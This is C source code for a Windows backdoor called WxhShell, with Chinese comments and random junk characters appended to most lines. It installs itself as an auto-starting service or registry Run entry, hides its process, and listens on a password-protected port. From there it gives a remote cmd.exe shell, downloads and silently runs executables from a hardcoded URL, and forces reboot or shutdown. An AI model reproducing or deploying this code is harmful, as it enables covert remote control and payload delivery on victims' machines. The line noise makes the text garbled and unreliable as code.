  case 'd': { <If35Z)~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }28=  
    if(Boot(SHUTDOWN)) , E )|y4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0MF}^"R  
    else { c]k*}W3T  
    closesocket(wsh); _ QOZ sEe  
    ExitThread(0); ,F6=b/eZ  
    } pc]J[ S?P  
    break;  XRN+`J  
    } iUk-'   
  // 获取shell _i0kc,*C\  
  case 's': { _l`e#XbG  
    CmdShell(wsh); 6A R2htN^  
    closesocket(wsh); q!~ -(&S  
    ExitThread(0); a?h*eAAc.  
    break; Hh;:`;}  
  } gY-5_Ab  
  // 退出 7r# ymQ  
  case 'x': { k44Q):ncY7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5*%#o  
    CloseIt(wsh); "UFs~S|e  
    break; 0pb '\lA  
    } m7c*)"^  
  // 离开 QF2q^[>w6  
  case 'q': { G"5D< ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lo.rvt  
    closesocket(wsh); am1[9g8L  
    WSACleanup(); x\e;+ubt}  
    exit(1); J5Z%ImiT^O  
    break; T=f|,sK +7  
        } CG\tQbum  
  } CK+d!Eg  
  } K kW;-{c  
-7H^n#]  
  // 提示信息 EI>l-N2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?tdd3ai>  
} BimjQ;jtI  
  } a 3SlxsWW  
F'}'(t+oAm  
  return; 7R.Q Ql  
} EI~"L$?  
.jw}JJ  
// shell模块句柄 {]*x*aa\  
int CmdShell(SOCKET sock) rHge~nY<  
{ J@pb[OL,  
STARTUPINFO si; ( lm&*tKm  
ZeroMemory(&si,sizeof(si)); sb_oD{+gW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ox!U8g8c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lH^^77"4Qo  
PROCESS_INFORMATION ProcessInfo; %.v{N6  
char cmdline[]="cmd"; DhLqhME53  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sAn0bX  
  return 0; w>fdQ!RdP  
} /PBaIoJE  
eK_*2=;XRW  
// 自身启动模式 #t8{R~y"gv  
int StartFromService(void) n%^ LPD  
{ Gc]~w D$  
typedef struct -ezY= 0Q&  
{ B5V_e!*5F*  
  DWORD ExitStatus; WF&[HKOy/  
  DWORD PebBaseAddress; 63|+2-E2Q  
  DWORD AffinityMask; BcjP+$k4_  
  DWORD BasePriority; ^mWybPqx  
  ULONG UniqueProcessId; 8b.u'r174  
  ULONG InheritedFromUniqueProcessId; W W2Ob*  
}   PROCESS_BASIC_INFORMATION; <:FP4e "(  
JCcZuwu[  
PROCNTQSIP NtQueryInformationProcess;  9fnA  
YYEJph@06q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %=AxJp!a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zJDSbsc$%  
N/$`:8"  
  HANDLE             hProcess; _-!sBK+F  
  PROCESS_BASIC_INFORMATION pbi; eivtH P  
V-I(WzR9y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XfE?C:v   
  if(NULL == hInst ) return 0; 1be %G [*  
1axQ)},o@p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ab%;Z5$fr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _\PNr.D 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o}Odw;  
-4w=s|#.\  
  if (!NtQueryInformationProcess) return 0; PjT=$]  
.roqEasu8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v8gdU7Ll,  
  if(!hProcess) return 0; (6CN/A{qe  
M2x["  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #*$P'r  
(iJ1 ;x  
  CloseHandle(hProcess); 5J)=}e  
(BxJryXm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +MbIB&fRCB  
if(hProcess==NULL) return 0; X8dR+xd  
> oA? 6x  
HMODULE hMod; &C im!I  
char procName[255]; n%R;-?*v  
unsigned long cbNeeded; FlfI9mm  
zl-2$}<a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cfox7FmW  
]eQV ,Vt  
  CloseHandle(hProcess); RCTQhTy=  
v%k9M{  
if(strstr(procName,"services")) return 1; // 以服务启动 N"/-0(9[  
8zLY6@  
  return 0; // 注册表启动 !Fw?H3X!"q  
} KfBTL!0#  
_rV5E  
// 主模块 S-31-Zjw  
int StartWxhshell(LPSTR lpCmdLine) ]q- g[e'  
{ L@75- T  
  SOCKET wsl; G$'jEa<:u  
BOOL val=TRUE; v5;I]?72l~  
  int port=0; 9Suu-A  
  struct sockaddr_in door; d_n7k g+  
 ;N B:e  
  if(wscfg.ws_autoins) Install(); <2!v(EkI  
ms($9Lv/  
port=atoi(lpCmdLine); ~^u16z,  
Wk:hFHs3  
if(port<=0) port=wscfg.ws_port; E_F5(x SA  
}R3=fbe,\  
  WSADATA data; +$xeoxU>;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mS#zraJn5  
ccCzu6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %N;!+ ;F_g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tmh(= TB'  
  door.sin_family = AF_INET; a$"ib  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 87 }&`  
  door.sin_port = htons(port); fP3_d  
9_\'LJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;fw1  
closesocket(wsl); ky 8ep  
return 1; ml@2wGyf  
} tNsPB6 Z  
,D\GGRw  
  if(listen(wsl,2) == INVALID_SOCKET) { nA|.t  
closesocket(wsl); S[tE&[$(p  
return 1; nf 1#tlIJd  
} IchCACK  
  Wxhshell(wsl); SVjl~U-^  
  WSACleanup(); Xi?b]Z  
pE{yv1Yg  
return 0; )$w*V9d  
r'CM  
} r1ws1 rr=  
wU#F_De)R:  
// 以NT服务方式启动 $^&ig  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TF2>4 p  
{ st"{M\.p  
DWORD   status = 0; Oz|K8p  
  DWORD   specificError = 0xfffffff; b}T6v  
zkTp`>9R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U yw-2]!n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s5RjIa0$7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pLMRwgzr  
  serviceStatus.dwWin32ExitCode     = 0; :Rs^0F8)c  
  serviceStatus.dwServiceSpecificExitCode = 0; "MIq.@8ra  
  serviceStatus.dwCheckPoint       = 0; c}3W:}lW  
  serviceStatus.dwWaitHint       = 0; )}TLC 2%  
)CX4kPj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0y<wvLv2C  
  if (hServiceStatusHandle==0) return; e*+F pW@  
=%zLh<3v  
status = GetLastError(); `/Nm 2K  
  if (status!=NO_ERROR) yq+!czlZ  
{ Z/^  u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &a/__c/l  
    serviceStatus.dwCheckPoint       = 0; USN8N (  
    serviceStatus.dwWaitHint       = 0; "NRDNqj(  
    serviceStatus.dwWin32ExitCode     = status; !6Sd(2  
    serviceStatus.dwServiceSpecificExitCode = specificError; !*2%"H*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dd?x(,"A`  
    return; 0y&I/2  
  } 8/z3=O&  
SuZ&vqS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z):n c% S  
  serviceStatus.dwCheckPoint       = 0; R3k1RE2c&g  
  serviceStatus.dwWaitHint       = 0; kNu'AT#3|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `h}q Eo`  
} 9N%JP+<89  
H _Va"yTO6  
// 处理NT服务事件,比如:启动、停止 nhG J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "O8gJ0e  
{ IV lf=k  
switch(fdwControl) ) 'j:  
{ [~:-&  
case SERVICE_CONTROL_STOP: SWp1|.=Sm  
  serviceStatus.dwWin32ExitCode = 0; zqDR7+]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; do uc('@  
  serviceStatus.dwCheckPoint   = 0; XC7%vDIt  
  serviceStatus.dwWaitHint     = 0; B2Xn?i3 l  
  { @"T"7c?Cv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i(? ,6)9  
  } {cpEaOyOM  
  return; aA-  
case SERVICE_CONTROL_PAUSE: #_mi `7!B#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DF6c|  
  break; qS&%!  
case SERVICE_CONTROL_CONTINUE: r_EcMIuk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fw oQ' &  
  break; 8A{_GH{:  
case SERVICE_CONTROL_INTERROGATE: , @m@S ^  
  break; A`{y9@h(  
}; s:00yQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c*d 9'}E  
} 3:%QB9qc]'  
j@Qg0F  
// 标准应用程序主函数 &R~n>>c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qo)?8kx>l  
{ 3D9 !M-  
Pmi#TW3X  
// 获取操作系统版本 /~4 "No@  
OsIsNt=GetOsVer(); %!ebO*8q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b| SE<\  
K ~44i  
  // 从命令行安装 &rDM<pO #-  
  if(strpbrk(lpCmdLine,"iI")) Install(); :b[`  v  
H A}f,),G  
  // 下载执行文件 ,3I^?5  
if(wscfg.ws_downexe) { pf4 ^Bk}e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oJKa"H-jL  
  WinExec(wscfg.ws_filenam,SW_HIDE); "m{,~'x  
} 7VK}Dy/Vvn  
.oEmU+  
if(!OsIsNt) { X0{/ydG F8  
// 如果时win9x,隐藏进程并且设置为注册表启动 k`".  
HideProc(); :V)lbn\  
StartWxhshell(lpCmdLine); B12$I:x`  
} C0=9K@FCb  
else y}C`&nW[=  
  if(StartFromService()) J/7R\;q`~o  
  // 以服务方式启动 ?=GXqbS"  
  StartServiceCtrlDispatcher(DispatchTable); 8+m H:O  
else S' dV>m`  
  // 普通方式启动 @`FCiHM  
  StartWxhshell(lpCmdLine); :a:[.  
iVB^,KQ@  
return 0; V8=Y@T,  
} |%~+2m  
QrApxiw  
zF4[}*  
,fEO> i  
=========================================== Z -%(~  
61U<5:#l  
,2oF:H  
R~bC,`Bh  
, n !vsIN  
a:~@CUD >I  
" _w@qr\4i=  
"QoQ4r<|  
#include <stdio.h> 3cj3u4y  
#include <string.h> !? ^h;)a  
#include <windows.h> P?BGBbC  
#include <winsock2.h> {f9{8-W <u  
#include <winsvc.h> <lr*ZSNY  
#include <urlmon.h> H7i$xWs  
k {-  
#pragma comment (lib, "Ws2_32.lib") k\Q ,h75  
#pragma comment (lib, "urlmon.lib") d@mo!zu  
 2A4FaBq"  
#define MAX_USER   100 // 最大客户端连接数 2?@j~I=s2h  
#define BUF_SOCK   200 // sock buffer &Bx J  
#define KEY_BUFF   255 // 输入 buffer -Xz?s  
OT %nrzP  
#define REBOOT     0   // 重启 1Xy]D  
#define SHUTDOWN   1   // 关机 _DRrznaw  
W;?(,xx  
#define DEF_PORT   5000 // 监听端口 :5GZ\Z8F  
'2hbJk  
#define REG_LEN     16   // 注册表键长度 >Ps7I  
#define SVC_LEN     80   // NT服务名长度 t+CWeCp,  
T5wjU*=IL  
// 从dll定义API EoX_KG{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SFH-^ly&D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DaNW~rd{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wo5ZxM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]IJRnVp%  
^"8G`B$r  
// wxhshell配置信息 T~sTBGcv  
struct WSCFG { ]j>i.5  
  int ws_port;         // 监听端口 OEdJc\n_R  
  char ws_passstr[REG_LEN]; // 口令 ujW1+Oj=~  
  int ws_autoins;       // 安装标记, 1=yes 0=no fpM #XFj  
  char ws_regname[REG_LEN]; // 注册表键名 o/ [  
  char ws_svcname[REG_LEN]; // 服务名 o6"*4P|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *cWmS\h|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Lyq[zg8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KsAH]2Q%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F=G{)*Ih  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *X%m@KLIKv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P+e KZo  
m}VM+=  
}; i5hD#  
G@S&1=nj3  
// default Wxhshell configuration ~;-9X|  
struct WSCFG wscfg={DEF_PORT, 9?+9UlJ7K  
    "xuhuanlingzhe", mzL[/B#>M  
    1, ;??ohA"{5  
    "Wxhshell", NGjdG=,  
    "Wxhshell", E_ $z`or  
            "WxhShell Service", 'f?.R&sCA  
    "Wrsky Windows CmdShell Service", JU0]Wq<^[  
    "Please Input Your Password: ", %R_{1GrL'c  
  1, m$>iS@R  
  "http://www.wrsky.com/wxhshell.exe", =fc: 6JR  
  "Wxhshell.exe" ^ L:cjY/  
    }; zH)_vW  
9-*NW0  
// 消息定义模块 ]kktoP|D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B%<e FFV\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kL@Wb/K JP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dOa!htx]  
char *msg_ws_ext="\n\rExit."; S_J :&9L  
char *msg_ws_end="\n\rQuit."; "YFls#4H-  
char *msg_ws_boot="\n\rReboot..."; h?@G$%2  
char *msg_ws_poff="\n\rShutdown..."; )tZ`K |  
char *msg_ws_down="\n\rSave to "; 3bC yTZk  
}{7e7tW6  
char *msg_ws_err="\n\rErr!"; #*q2d  
char *msg_ws_ok="\n\rOK!"; s #:%x#  
c yQ(fIYl  
char ExeFile[MAX_PATH]; !J>A,D"-  
int nUser = 0; \hk/1/siyF  
HANDLE handles[MAX_USER]; [2$4|;7  
int OsIsNt; g;F"7 ^sg  
$]d*0^J 6  
SERVICE_STATUS       serviceStatus; ^Uw[x\%#gD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p|6v~  
~JZ3a0$^  
// 函数声明 l_FGZ!7  
int Install(void); a,'Cyv">  
int Uninstall(void); <2Y0{ 8)  
int DownloadFile(char *sURL, SOCKET wsh); 6=|&tE  
int Boot(int flag); 6DS43AQs  
void HideProc(void); (4~WWU (iT  
int GetOsVer(void); K6\` __mLf  
int Wxhshell(SOCKET wsl); 34C``i  
void TalkWithClient(void *cs); u7]<=*V]  
int CmdShell(SOCKET sock); _45cH{$sA  
int StartFromService(void); 5P^U_  
int StartWxhshell(LPSTR lpCmdLine); _&{%Wc5W~F  
D\L!F6taS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yt1mB[&f^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N} />rD  
8q_0,>w%  
// 数据结构和表定义 1/j$I~B   
SERVICE_TABLE_ENTRY DispatchTable[] = euRss#;  
{ Z-Wfcnk  
{wscfg.ws_svcname, NTServiceMain}, :Am-8  
{NULL, NULL} ^^Lj I  
}; vd~U@-C=R  
:=g.o;(/N  
// 自我安装 ?#[)C=p]z  
int Install(void) <,39_#H?F3  
{ W04av_u 5  
  char svExeFile[MAX_PATH]; P;foK)AM  
  HKEY key; i&tsYnP2  
  strcpy(svExeFile,ExeFile); NXoK@Y  
VK .^v<Yo  
// 如果是win9x系统,修改注册表设为自启动 w-FnE}"l  
if(!OsIsNt) { ySX/=T:<;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XSD%t8<LO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xe:' 8J6L  
  RegCloseKey(key); N)OCSeh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #qL9{P<}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n E :'Zxj  
  RegCloseKey(key); (9.yOc4  
  return 0; }Jxq'B  
    } {Bs+G/?o/  
  } O8RzUg&  
} 4 eh=f!(+  
else { sWxK~Yg  
?z.Isvn  
// 如果是NT以上系统,安装为系统服务  v4<j   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zw=G@4xoU  
if (schSCManager!=0) mxtgb$*  
{ iz x[  
  SC_HANDLE schService = CreateService J%P)%yX  
  ( S=9E@(]  
  schSCManager, 7>je6*(K  
  wscfg.ws_svcname, #tz8{o?ebN  
  wscfg.ws_svcdisp, H`|0-`q  
  SERVICE_ALL_ACCESS, rc~Y=m   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cg6;I.K   
  SERVICE_AUTO_START, V9jFjc?  
  SERVICE_ERROR_NORMAL, : ^(nj7D  
  svExeFile, *FPg#a+  
  NULL, I)[B9rbe  
  NULL, !A-;NGxE  
  NULL, |HgfV@Han  
  NULL, oS!/|#m n  
  NULL S:97B\ u`  
  ); ]Y5dl;xrM)  
  if (schService!=0) ;/A}}B]y  
  { u8uW9 <  
  CloseServiceHandle(schService); Q;gQfr"c7  
  CloseServiceHandle(schSCManager); 5ZsDgOeY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sr7@buF  
  strcat(svExeFile,wscfg.ws_svcname); m!!;/e?yx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gE=Wcb!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /#\?1)jCK  
  RegCloseKey(key); gH H&IzHF  
  return 0; TNsg pJ?\  
    } b+$o4 l/x  
  }  Ec.)!Hu  
  CloseServiceHandle(schSCManager); (4ZLpsbJ  
} aJQXJ,>Lv  
} # ITLz!g E  
s>J3\PC  
return 1; RK3.-  
} sA2o2~AmM  
=tq7z =k  
// 自我卸载 7,su f }=  
int Uninstall(void) R#fy60  
{ onh?/3l  
  HKEY key; /'`6 ; uRN  
7jR7  
if(!OsIsNt) { rG5i-'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ys+N,:#R  
  RegDeleteValue(key,wscfg.ws_regname); ;qG1r@o  
  RegCloseKey(key); E 8^sy*f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6=BZ~ed  
  RegDeleteValue(key,wscfg.ws_regname); P=pY8X:  
  RegCloseKey(key); 'Z$jBL  
  return 0; Zih5/I  
  } bXm :]?  
} g`{Dxb,t  
} |@q9{h7  
else { B{4"$Mi  
xOgq-@`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JchA=n  
if (schSCManager!=0) AG=9b  
{ rJp?d9B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZU^Q1}</5  
  if (schService!=0) A ' )(SGSc  
  { 5 2fO)!  
  if(DeleteService(schService)!=0) { Nq  U9/  
  CloseServiceHandle(schService); 6BHPzv+Y  
  CloseServiceHandle(schSCManager); A'b<?)Y7_  
  return 0; |WUA1g  
  } dc)wu]  
  CloseServiceHandle(schService); J;"nm3[.q  
  } \|Y{jG<cu  
  CloseServiceHandle(schSCManager); "1CGO@AXS  
} R>` ih&,)  
} 2}>go^#O/w  
}o{!}g9  
return 1; L:Ed-=|Uw  
} TA<hj[-8  
P$ F#,Cn  
// 从指定url下载文件 =^"~$[z(  
int DownloadFile(char *sURL, SOCKET wsh) k~ZBJ+ 94  
{ dvxf lLd @  
  HRESULT hr; %!D_q ~"H  
char seps[]= "/"; &F9OZMK=  
char *token; {\F2*P  
char *file; i"KL;t[1  
char myURL[MAX_PATH]; AwA1&mh  
char myFILE[MAX_PATH]; )m)h/_  
JJ)y2  
strcpy(myURL,sURL); K"G(?<>~4c  
  token=strtok(myURL,seps); |#!eMJ&0  
  while(token!=NULL) Y9/{0TArG  
  { X #H:&*[!  
    file=token; c-v*4b/d  
  token=strtok(NULL,seps); %oMWcgsdJi  
  } 4h(jw   
0>8ZN!@K  
GetCurrentDirectory(MAX_PATH,myFILE); :R{x]sv  
strcat(myFILE, "\\"); u;QH8LK  
strcat(myFILE, file); $;Q=iv 3  
  send(wsh,myFILE,strlen(myFILE),0);  %L{  
send(wsh,"...",3,0); ]kzv8#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hw7~i  
  if(hr==S_OK) 1+VY><=n  
return 0; ]gjr+GV  
else *c!;^Qyp&  
return 1; aGdpec v  
KC#kss  
} J,.j_ii`!  
WFQ*s4 R(  
// 系统电源模块 ;,()wH  
int Boot(int flag) 5XhK#X%:A  
{ c&0;wgieg  
  HANDLE hToken; G%y>:$rw[O  
  TOKEN_PRIVILEGES tkp; {/th`#o4b  
QZ6[*_Z6  
  if(OsIsNt) { Ax :3}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4o)(d=q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <=#lRZW[z  
    tkp.PrivilegeCount = 1; )R8%wk?2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A!Knp=Gw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TB ;3`  
if(flag==REBOOT) { qr7 X-[&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hwEZj`9  
  return 0; )w^GP lh  
} TW'E99wG  
else { e4[-rkn{hl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `%KpTh  
  return 0; 0\8*S3,q  
} Mb2:'u [  
  } |) x'  
  else { 4Z<]4:o  
if(flag==REBOOT) { Kx(76_XD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tn(?nQN3  
  return 0; D|u^8\'.  
} '-$))AdD  
else { wUh3Hd'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -lJx%9>  
  return 0; y|&.v <  
} BnKP7e  
} ]}UeuF\  
u=_bM2;~Z  
return 1; U-wq- GT  
} M63s(f  
7.w *+Z>z  
// win9x进程隐藏模块 Wq=ZU\Y  
void HideProc(void) lGD%R'}  
{ 1(#*'xR  
BXQ\A~P\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fxLE]VJQ  
  if ( hKernel != NULL ) X|lElN  
  { {[YqGv=fF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R=#q"9qz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -6hu31W  
    FreeLibrary(hKernel); z 'vdC  
  } Tx|SAa=V  
v^ y}lT  
return; ,(;p(#F>  
} 7eaA]y~H  
yDu yMt#  
// 获取操作系统版本 1kz9>;Ud6  
int GetOsVer(void) #;qFPj- v  
{ doxdRYKL  
  OSVERSIONINFO winfo; 7 K;'7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P3,Z5|)  
  GetVersionEx(&winfo); X~IRpzC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [[/ }1%  
  return 1; wHB Hkz  
  else (`q6G d  
  return 0; uMiD*6,$<  
} _rWM]  
c5T~0'n  
// 客户端句柄模块 ShEaL&'J  
int Wxhshell(SOCKET wsl) Lic{'w&  
{ <Y}"D Yt  
  SOCKET wsh; Ti9:'I  
  struct sockaddr_in client; Y:tW]   
  DWORD myID; Allt]P>  
MHpL$g=5_  
  while(nUser<MAX_USER) EyKkjEXx_  
{ *<|~=*Ddf  
  int nSize=sizeof(client); ^cKv JSY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rC1qGzg\a  
  if(wsh==INVALID_SOCKET) return 1; +[X.-,yW  
,N))=/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y1yvI  
if(handles[nUser]==0) $~w@0Yl  
  closesocket(wsh); 34+)-\xt:  
else xy-$v   
  nUser++; #G[ *2h~99  
  } s&_IWala  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (d5vH)+ A  
)$lSG}WD  
  return 0; @Le ^-v4  
} n!CP_  
: e0R7sj  
// 关闭 socket G]m[ S-  
void CloseIt(SOCKET wsh) *1ID`o  
{ U l7pxzj  
closesocket(wsh); @> +^<  
nUser--; pZ@W6}  
ExitThread(0); /`j  K  
}  OGE#wG"S  
t`Y1.]@U  
// 客户端请求句柄 Lv,ji_  
void TalkWithClient(void *cs) H(5ui`'s  
{ v4,syd*3|V  
kw}ISXz v  
  SOCKET wsh=(SOCKET)cs; 9Ww=hfb5UW  
  char pwd[SVC_LEN]; *'`3]!A  
  char cmd[KEY_BUFF]; lo>-}xd  
char chr[1]; 9m#H24{V'  
int i,j; 9 +N._u  
=JySY@?9  
  while (nUser < MAX_USER) { F-reb5pt.=  
8Jib|#!  
if(wscfg.ws_passstr) { 2'O!~8U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gR_b~ ^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hNR >Hy\  
  //ZeroMemory(pwd,KEY_BUFF); yoA*\V  
      i=0; -; /@;W  
  while(i<SVC_LEN) { A Eyr_!G,  
33v%e  
  // 设置超时 F|n$0vQ*  
  fd_set FdRead; 9bzYADLI  
  struct timeval TimeOut; YiI:uG!|D  
  FD_ZERO(&FdRead); v&CO#vK5.  
  FD_SET(wsh,&FdRead); b3 %&   
  TimeOut.tv_sec=8; Ph! KL\  
  TimeOut.tv_usec=0; jQK2<-HZ3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z*k 3q`=>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ie`SWg*WL  
&:cTo(C'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d)17r\*>I  
  pwd=chr[0]; 5f^`4 pT  
  if(chr[0]==0xd || chr[0]==0xa) { fB @pwmu  
  pwd=0; 1!v >I"]  
  break;  ]5)&36  
  } "|l oSf@  
  i++; ).O2_<&?F  
    } wJ]$'c3  
%.atWX`b  
  // 如果是非法用户,关闭 socket D !D%.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i$LV44  
} UNZVu~WnF  
P". qL 5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $nD k mKl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$nfY.C  
pg}DC0a  
while(1) { MS*Mem,  
Q&U= jX  
  ZeroMemory(cmd,KEY_BUFF); n.H`1@  
Kjca>/id  
      // 自动支持客户端 telnet标准   in;+d~?  
  j=0; `v/tf|v 6  
  while(j<KEY_BUFF) { eQ)ioY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [9W&1zY  
  cmd[j]=chr[0]; "*>QxA%c4  
  if(chr[0]==0xa || chr[0]==0xd) { GF.g'wYc)Y  
  cmd[j]=0; ;xkf ?|  
  break; YWBP'Mo  
  } BKP!+V/  
  j++; 2QuypVC ]  
    } u!EulAl  
Nno={i1jk  
  // 下载文件 ~pBxFA  
  if(strstr(cmd,"http://")) { /RULPd PH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k^%TJ.y@  
  if(DownloadFile(cmd,wsh))  ;;"c+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5A=xFj{  
  else !E>3N:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "F.J>QBd  
  } ewff(e9  
